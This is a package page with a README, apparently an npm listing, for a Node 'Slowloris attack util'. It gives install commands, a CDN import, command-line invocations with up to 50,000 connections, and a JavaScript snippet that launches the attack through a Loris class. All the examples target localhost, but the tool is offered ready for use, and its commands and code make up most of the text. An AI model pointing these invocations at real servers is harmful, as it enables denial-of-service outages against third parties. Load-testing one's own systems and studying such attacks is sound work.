@anzerr/slowloris.tool

Slowloris attack util

Usage no npm install needed!

<script type="module">
  import anzerrSlowlorisTool from 'https://cdn.skypack.dev/@anzerr/slowloris.tool';
</script>

README

Intro

GitHub Actions status | publish

Example of slowloris attack it should start with a few connections and try and ramp up until I can't connected anymore

Install

npm install --save git+https://github.com/anzerr/slowloris.tool.git
npm install --save @anzerr/slowloris.tool
git clone git+https://git@github.com/anzerr/slowloris.tool.git &&
cd slowloris.tool &&
npm link

Example

slowloris --host localhost:8080 --max 50000
slowloris --host https://localhost:8080
const Loris = require('slowloris.tool');
let l = new Loris('http://localhost:8080', 100000).attack();
return new Promise((resolve) => l.once('end', resolve)).then(() => {
    console.log('attack ended');
}).catch(console.log);